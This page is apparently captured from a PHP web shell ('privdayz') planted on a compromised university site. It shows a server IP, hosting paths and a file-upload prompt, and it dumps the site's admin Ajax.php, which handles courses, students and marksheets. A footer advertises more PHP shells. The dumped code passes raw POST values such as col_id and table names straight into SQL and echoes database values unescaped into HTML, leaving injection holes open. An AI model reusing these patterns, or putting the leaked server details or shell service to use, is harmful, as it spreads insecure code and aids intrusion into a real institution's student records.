Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/sugam.kmclu.ac.in/public_html/admin/
Dosya Yükle :
Current File : /home/u866425823/domains/sugam.kmclu.ac.in/public_html/admin/Ajax.php

<?php
session_start();
require('../data_base_connection_xyzabc.php');
require('../PHPHelper.php');

// --------------------------- Academic Session start-----------------

if (isset($_POST['Add_Academic_Session'])) {
    $session = realEscape('acadeic_session');
    $insert = "INSERT INTO `academic_session`(`academic_session`, `status`) 
  VALUES ('$session','Inactive')";

    $response_arr = array();

    if (mysqli_query($conn, $insert)) {
        array_push($response_arr, 'true', 'New Academic Session Added Successfully', 'AllAcademicSession.php');
    } else {
        array_push($response_arr, 'false', 'Failed To Add New Academic Session', '#');
    }

    echo json_encode($response_arr);
}

if (isset($_POST['AcademicSessionEdit'])) {
    $col_id = trim($_POST['col_id']);
    $select = "SELECT * FROM `academic_session` where col_id = '$col_id'";
    $query = mysqli_query($conn, $select);
    $row  = mysqli_num_rows($query);
    if ($row != 0) {
        $f = mysqli_fetch_assoc($query);
        echo "
         <input type = 'hidden' name = 'col_id' value = '$col_id' >
         <input type = 'text' name = 'Academic' value = '$f[academic_session]' class = 'form-control mb-3' required  placeholder = 'Academic Session'>
         <select name = 'Status' class = 'form-control mb-3'  required>
           <option value = '$f[status]'>$f[status]</option>
           <option value = 'Active'>Active</option>
           <option value = 'Inactive'>Inactive</option>
         </select>
      ";
    } else {
        echo "Can'nt Fetch Data. Please Try Again Later";
    }
}

if (isset($_POST['update_aca_session'])) {
    $col_id = $_POST['col_id'];

    $Academic = realEscape('Academic');
    $Status = realEscape('Status');

    mysqli_query($conn, "UPDATE `academic_session`  SET `status`='Inactive'");


    $update = "UPDATE `academic_session` SET `academic_session`='$Academic',`status`='$Status' 
    WHERE  col_id = '$col_id'";

    $response_arr = array();
    if (mysqli_query($conn, $update)) {
        array_push($response_arr, 'true', 'Academic Session Updated Successfully', 'AllAcademicSession.php');
    } else {
        array_push($response_arr, 'false', 'Failed To Update Academic Session', '#');
    }

    echo json_encode($response_arr);
}

// --------------------------- Academic Session  end-----------------

// ------------------------------ Delete  Start-------------------

if (isset($_POST['deleteSingle'])) {

    $variables = $_POST['variables'];
    $var_arr  = explode(',', $variables);

    $table_name = $var_arr[0];
    $col_id = $var_arr[1];

    $delete_response = array();

    $get_delete_response = delete_single($table_name, $col_id);

    if ($get_delete_response) {
        array_push($delete_response, 'true', 'Data Deleted Successfully');
    } else {
        array_push($delete_response, 'false', 'Failed To Delete Data');
    }

    echo json_encode($delete_response);
}

if (isset($_POST['delete_single_with_file'])) {
    $variables = $_POST['variables'];

    $table = $variables[0]['table'];
    $col_id = $variables[0]['col_id'];
    $delete_response = array();
    $get_delete_response  =  delete_single($table, $col_id);

    if ($get_delete_response) {
        array_push($delete_response, 'true', 'Data Deleted Successfully');
    } else {
        array_push($delete_response, 'false', 'Failed To Delete Data');
    }

    echo json_encode($delete_response);
}

// ------------------------------ Delete  End-------------------

// ----------------------------------- Course Start--------------------
if (isset($_POST['Add-Course'])) {
    $course = realEscape('course');
    $duration  = realEscape('duration');
    $sem  = realEscape('sem');
    $Insert = "INSERT INTO `courses`(`course`,`duration`,`sem`) VALUES ('$course','$duration','$sem')";
    $response_arr = array();
    if (mysqli_query($conn, $Insert)) {
        array_push($response_arr, 'true', 'New Course Added Successfully', 'courses.php');
    } else {
        array_push($response_arr, 'false', 'Failed To Add Course', '#');
    }
    echo json_encode($response_arr);
}

if (isset($_POST['courseEdit'])) {
    $col_id = trim($_POST['col_id']);
    $select = "SELECT * FROM `courses` where col_id = '$col_id'";
    $query = mysqli_query($conn, $select);
    $row  = mysqli_num_rows($query);
    if ($row != 0) {
        $f = mysqli_fetch_assoc($query);
        echo "
         <input type = 'hidden' name = 'col_id' value = '$col_id' >
         <div class = 'mb-3'>
            <label class = 'form-label label-color'>Course Name</label>
            <input type = 'text' name = 'course' value = '$f[course]' class = 'form-control mb-3' required id = 'course-name-edit'  placeholder = 'Academic Session'  onkeyup=make_capital('course-name-edit')>
         </div>
         <div class = 'mb-3'>
            <label class = 'form-label label-color'>Duration</label>
            <input type = 'number' name = 'duration' value = '$f[duration]' class = 'form-control mb-3' required placeholder = 'Course Duration'>
         </div>
         <div class = 'mb-3'>
            <label class = 'form-label label-color'>Semester</label>
            <input type = 'number' name = 'sem' value = '$f[sem]' class = 'form-control mb-3' required placeholder = 'Semester'>
         </div>
      ";
    } else {
        echo "Can'nt Fetch Data. Please Try Again Later";
    }
}

if (isset($_POST['update-Course'])) {
    $col_id = $_POST['col_id'];

    $course = realEscape('course');
    $duration = realEscape('duration');
    $sem = realEscape('sem');

    $update = "UPDATE `courses` SET `course`='$course',`duration` = '$duration' ,`sem` = '$sem'
    WHERE  col_id = '$col_id'";

    $response_arr = array();
    if (mysqli_query($conn, $update)) {
        array_push($response_arr, 'true', 'Course Updated Successfully', 'courses.php');
    } else {
        array_push($response_arr, 'false', 'Failed To Update Course', '#');
    }

    echo json_encode($response_arr);
}

// ----------------------------------- Course End--------------------


// ---------------------------------- paper start--------------------------

if (isset($_POST['Add-paper'])) {

    $year = realEscape('year');
    $semester = realEscape('semester');
    $course = realEscape('course');
    $paper = realEscape('paper');
    $paperCode = realEscape('paperCode');
    $elective_subject = realEscape('elective_subject');
    $internal_max = realEscape('internal_max');
    $internal_min = realEscape('internal_min');
    $ext_or_pra_max = realEscape('ext_or_pra_max');
    $ext_or_pra_min = realEscape('ext_or_pra_min');


    $Credit = realEscape('Credit');

    $Insert = "INSERT INTO `papers`( `year`, `sem`, `course`,`paper_name`, `paper_code`,`elective_subject`,`credit`,`int_max`, `int_min`, `ext_pra_max`, `ext_pra_min`) 
     VALUES ('$year','$semester','$course','$paper','$paperCode','$elective_subject','$Credit','$internal_max','$internal_min','$ext_or_pra_max','$ext_or_pra_min')";

    $response_arr = array();

    $check_paper_code = mysqli_query($conn, "SELECT * FROM `papers` WHERE paper_code  = '$paperCode'");
    $paper_code_r = mysqli_num_rows($check_paper_code);
    if ($paper_code_r != 0) {
        array_push($response_arr, 'false', 'Paper Code Matched', '#');
    } else {
        if (mysqli_query($conn, $Insert)) {
            array_push($response_arr, 'true', 'New Paper Added Successfully', 'papers.php');
        } else {
            array_push($response_arr, 'false', 'Failed To Add New Paper', '#');
        }
    }

    echo json_encode($response_arr);
}


if (isset($_POST['paperEdit'])) {
    $col_id = trim($_POST['col_id']);
    $select = "SELECT * FROM `papers` where col_id = '$col_id'";
    $query = mysqli_query($conn, $select);
    $row  = mysqli_num_rows($query);
    if ($row != 0) {
        $f = mysqli_fetch_assoc($query);
        $All_course = get_courses();
        $all_year = get_year();
        $all_sem = get_semeter();

        echo "
         
         <input type = 'hidden' name = 'col_id' value = '$col_id' >
         <div class='mb-3 col-md-6 col-12'>
            <label class='form-label label-color'>Year</label>
            <select name='year' class='border form-control' required>
                <option value='$f[year]'>$f[year]</option>
                $all_year
                
            </select>
         </div>
         <div class='mb-3 col-md-6 col-12'>
             <label class='form-label label-color'>Semester</label>
             <select name='semester' class='border form-control' required>
             <option value='$f[sem]'>$f[sem]</option>
                 $all_sem
             </select>
         </div>
         <div class='mb-3 col-md-6 col-12'>
             <label class='form-label label-color'>Course Name</label>
             <select name='course' class='border form-control' required>
             <option value='$f[course]'>$f[course]</option>
                 $All_course
             </select>
         </div>
          
         <div class='mb-3 col-md-6 col-12'>
             <label class='form-label label-color'>Paper Name</label>
             <input type='text' name='paper' class='form-control' value = '$f[paper_name]' placeholder='Paper Name' required  id='paper-name-id-ajax' onkeyup = make_capital('paper-name-id-ajax')>
         </div>
         <div class='mb-3 col-md-6 col-12'>
             <label class='form-label label-color'>Paper Code</label>
             <input type='text' name='paperCode' class='form-control make_capital' value='$f[paper_code]' placeholder='Paper Code' required  id='paper-code-id-ajax' onkeyup = make_capital('paper-code-id-ajax')>
         </div>
         <div class='mb-3 col-md-6 col-12'>
           <label class='form-label label-color'>Elective Subject Group</label>
           <input type='text' name='elective_subject' class='form-control make_capital' value='$f[elective_subject]' placeholder='Elective Subject Group' required id='elective-id-ajax' onkeyup = make_capital('elective-id-ajax')>
         </div>
         <div class='mb-3 col-md-6 col-12'>
            <label class='form-label label-color'>Internal Maximum</label>
            <input type='number' name='internal_max' class='form-control' value='$f[int_max]' placeholder='Internal Maximum' required>
        </div>
         <div class='mb-3 col-md-6 col-12'>
             <label class='form-label label-color'>Internal Minimum</label>
             <input type='number' name='internal_min' class='form-control' value='$f[int_min]' placeholder='Internal Minimum' required>
         </div>
         <div class='mb-3 col-md-6 col-12'>
             <label class='form-label label-color'>External/Practical Maximum</label>
             <input type='number' name='ext_or_pra_max' class='form-control' value='$f[ext_pra_max]' placeholder='External/Practical Maximum' required>
         </div>
         <div class='mb-3 col-md-6 col-12'>
             <label class='form-label label-color'>External/Practical Minimum</label>
             <input type='number' name='ext_or_pra_min' class='form-control' value='$f[ext_pra_min]' placeholder='External/Practical Minimum' required>
         </div>
         <div class='mb-3 col-md-6 col-12'>
             <label class='form-label label-color'>Credit</label>
             <input type='number' name='Credit' class='form-control' value='$f[credit]' placeholder='Credit' required>
         </div>
        ";
    } else {
        echo "Can'nt Fetch Data. Please Try Again Later";
    }
}


if (isset($_POST['update-paper'])) {

    $col_id = trim($_POST['col_id']);

    $year = realEscape('year');
    $semester = realEscape('semester');
    $course = realEscape('course');
    $paper = realEscape('paper');
    $paperCode = realEscape('paperCode');
    $elective_subject = realEscape('elective_subject');
    $internal_max = realEscape('internal_max');
    $internal_min = realEscape('internal_min');
    $ext_or_pra_max = realEscape('ext_or_pra_max');
    $ext_or_pra_min = realEscape('ext_or_pra_min');

    $Credit = realEscape('Credit');

    $update = "UPDATE `papers` 
    SET 
    `year`='$year',
    `sem`='$semester',
    `course`='$course',
    `paper_name`='$paper',
    `paper_code`='$paperCode',
    `elective_subject`='$elective_subject',
    `credit`='$Credit',
    `int_max`='$internal_max',
    `int_min`='$internal_min',
    `ext_pra_max`='$ext_or_pra_max',
    `ext_pra_min`='$ext_or_pra_min'

     WHERE col_id = '$col_id'";

    $response_arr = array();
    if (mysqli_query($conn, $update)) {
        array_push($response_arr, 'true', 'Paper Data Updated Successfully', 'papers.php');
    } else {
        array_push($response_arr, 'false', 'Failed To Update Paper Data', '#');
    }

    echo json_encode($response_arr);
}


// ---------------------------------- paper end--------------------------

// ------------------------------ Students start------------------------

if (isset($_POST['Add_Student'])) {

    $FName = realEscape('FName');
    $FatherName = realEscape('FatherName');
    $MotherName = realEscape('MotherName');
    $enroll_no = realEscape('enroll_no');
    $roll_no = realEscape('roll_no');
    $course = realEscape('course');
    $year = realEscape('year');
    $Semester = realEscape('Semester');
    $Session = realEscape('Session');



    $PassportSizeImg = $_FILES['PassportSizeImg']['name'];

    $PassportSizeImg_tmp = $_FILES['PassportSizeImg']['tmp_name'];

    $New_PassportSizeImg = new_fileName($PassportSizeImg);


    $response_arr = array();

    if (!file_format($PassportSizeImg, $img_format)) {
        array_push($response_arr, 'false', 'Invalid File Format Of Passport Size Image', '#');
    } else {





        $insert = "INSERT INTO `student_data`(`full_name`,`father`, `mother`, `enroll_no`, `roll_no`, `course`, `year`, `sem`, `session`, `pass_img`) 
            VALUES ('$FName','$FatherName','$MotherName','$enroll_no','$roll_no','$course','$year','$Semester','$Session','$New_PassportSizeImg')";




        if (mysqli_query($conn, $insert)) {
            move_uploaded_file($PassportSizeImg_tmp, '../Files/student/' . $New_PassportSizeImg);
            array_push($response_arr, 'true', 'New Student Data Added Successfully', 'add_student.php');
        } else {
            array_push($response_arr, 'false', 'Failed To Add Data', '#');
        }
    }
    echo json_encode($response_arr);
}


if (isset($_POST['update_Student_data'])) {

    $col_id = realEscape('col_id');
    $hidden_enroll = realEscape('hidden_enroll');
    $FName = realEscape('FName');
    $enroll_no = realEscape('enroll_no');
    $roll_no = realEscape('roll_no');
    $course = realEscape('course');
    $email = realEscape('email');
    $phone = realEscape('phone');
    $admi_date = realEscape('admi_date');

    $father = realEscape('father');
    $mother = realEscape('mother');
    $department = realEscape('department');
    $sem = realEscape('sem');


    $update = "UPDATE `student_data` 
    SET 
    `full_name`='$FName',
    `enroll_no`='$enroll_no',
    `roll_no`='$roll_no',
    `course`='$course',
    `email`='$email',
    `phone`='$phone',
    `admi_date`='$admi_date',
    `father`='$father',
    `mother`='$mother',
    `dep`='$department',
    `sem`='$sem'
     
    WHERE col_id = '$col_id'";
    $response_arr = array();
    if (mysqli_query($conn, $update)) {
        array_push($response_arr, 'true', 'Data Updated Successfully', 'students.php');
    } else {
        array_push($response_arr, 'false', 'Failed To Update Data', '#');
    }

    echo json_encode($response_arr);
}






// ------------------------------ Students End------------------------


// --------------------------------------- Marksheet Start -------------------
// --------------------------------------- Marksheet Start -------------------
// --------------------------------------- Marksheet Start -------------------

if (isset($_POST['update_single_marks'])) {

    $marks_col = realEscape('col_id');
    $enroll_id = realEscape('enroll_id');

    $month = realEscape('month');
    $Session = realEscape('Session');
    $p_code = realEscape('p_code');
    $int_marks = realEscape('int_marks');
    $ext_marks = realEscape('ext_marks');

    $select_marks = mysqli_query($conn, "SELECT * FROM `marksheet_data` where col_id = '$marks_col'");
    $fetch_marks = mysqli_fetch_assoc($select_marks);

    $int_ext_min_arr  = get_int_ext_min($fetch_marks['course'], $fetch_marks['year'], $fetch_marks['sem'], $fetch_marks['paper_code']);
    $int_min = $int_ext_min_arr[0];
    $ext_pra_min = $int_ext_min_arr[1];

    if ($int_marks < $int_min) {
        $status = 'FAILED';
    } elseif ($ext_marks  < $ext_pra_min) {
        $status = 'PROMOTTED';
    } elseif ($int_marks  >= $int_min && $ext_marks  >= $ext_pra_min) {
        $status = 'PASSED';
    }

    if ($status != 'PASSED') {
        $clear = 'NO';
    } else {
        $clear = 'YES';
    }

    $update_marks = "UPDATE `marksheet_data`
     SET 
    
     `month`='$month',
     `session`='$Session',
     `paper_code`='$p_code',
     `int_obt`='$int_marks',
     `ext_pra_obt`='$ext_marks',
     `status` = '$status',
     `clear` = '$clear'
      WHERE col_id = '$marks_col'";

    $response_arr = array();

    if (mysqli_query($conn, $update_marks)) {
        array_push($response_arr, 'true', 'Marks Updated Successfully', 'show_marksheet_data_single.php?enroll_id=' . $enroll_id);
    } else {
        array_push($response_arr, 'false', 'Failed To Updated Marks', '#');
    }

    echo json_encode($response_arr);
}



// --------------------------------------- Marksheet End-------------------
// --------------------------------------- Marksheet End-------------------
// --------------------------------------- Marksheet End-------------------


// ----------------------------------- Course select start --------------------

if (isset($_POST['course_select'])) {
    $course = realEscape('course_select');

    $response_arr = array();
    if ($course != '') {
        $get_year =  mysqli_query($conn, "SELECT  duration FROM `courses` where course = '$course'");
        if (mysqli_num_rows($get_year) != 0) {
            $f = mysqli_fetch_assoc($get_year);
            array_push($response_arr, 'true', $f['duration']);
        } else {
            array_push($response_arr, 'false', '');
        }
    } else {
        array_push($response_arr, 'false', '');
    }
    echo json_encode($response_arr);
}

if (isset($_POST['sem_select'])) {
    $sem = realEscape('sem_select');
    $course_selected = realEscape('course_selected');
    $year_selected = realEscape('year_selected');


    $response_arr = array();
    if ($sem != '') {
        $get_paper =  mysqli_query($conn, "SELECT  * FROM `papers` where course = '$course_selected' and year = '$year_selected' and sem = '$sem'");
        if (mysqli_num_rows($get_paper) != 0) {
            $data = array();
            while ($f = mysqli_fetch_assoc($get_paper)) {
                array_push($data, $f['paper_code']);
            }

            array_push($response_arr, 'true', $data);
        } else {
            array_push($response_arr, 'false', '');
        }
    } else {
        array_push($response_arr, 'false', '');
    }
    echo json_encode($response_arr);
}


if (isset($_POST['isset_marksheet_verification'])) {

    $response_arr = array();

    $col_id = realEscape('col_id');
    $s = mysqli_query($conn, "SELECT * FROM `marksheet_veri_req` where col_id  = '$col_id'");
    $r = mysqli_num_rows($s);
    if ($r != 0) {
        $data  = mysqli_fetch_assoc($s);

        if ($data['status'] == 'Unverified') {
            $mark_status = "Verified";
        } else {
            $mark_status = "Unverified";
        }

        $receiver = "$data[email]";
        $sub = "Marksheet Verification";
        $body = "
        <table style = 'background-color:#252525ef;font-family: Nunito, sans-serif;width: 100%;padding: 50px 10px;'>
           <tr>
               <th colspan='2' style='color: #FFFFFF;padding: 5px 10px;font-size:20px'>Marksheet Verification Status</th>
           </tr>
           <tr>
               <th colspan='2' style='text-align:center;color: #FFFFFF;font-weight:600; font-size:18px'>Serial Number : $data[srno]</th>
           </tr>
           <tr>
           <th colspan='2' style='color: #FFFFFF;padding-top: 40px;'><span style='background-color:#4db8ff;padding: 8px 25px;font-size:25px;'>$mark_status</span></th>
           </tr>
        </table> 
        ";

        if ($data['status'] == 'Unverified') {
            $update = "UPDATE `marksheet_veri_req` SET `status`='Verified' WHERE col_id = '$col_id'";
            if (mysqli_query($conn, $update)) {
                send_mail($receiver, $body, $sub);
                array_push($response_arr, 'true', 'Marksheet Verified', '');
            } else {
                array_push($response_arr, 'false', 'Task Incomplete', '');
            }
        } else {
            $update = "UPDATE `marksheet_veri_req` SET `status`='Unverified' WHERE col_id = '$col_id'";
            if (mysqli_query($conn, $update)) {
                array_push($response_arr, 'true', 'Marksheet Unverified', '');
            } else {
                array_push($response_arr, 'false', 'Task Incomplete', '');
            }
        }
    } else {
        array_push($response_arr, 'false', 'Data Not Found');
    }

    echo json_encode($response_arr);
}

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.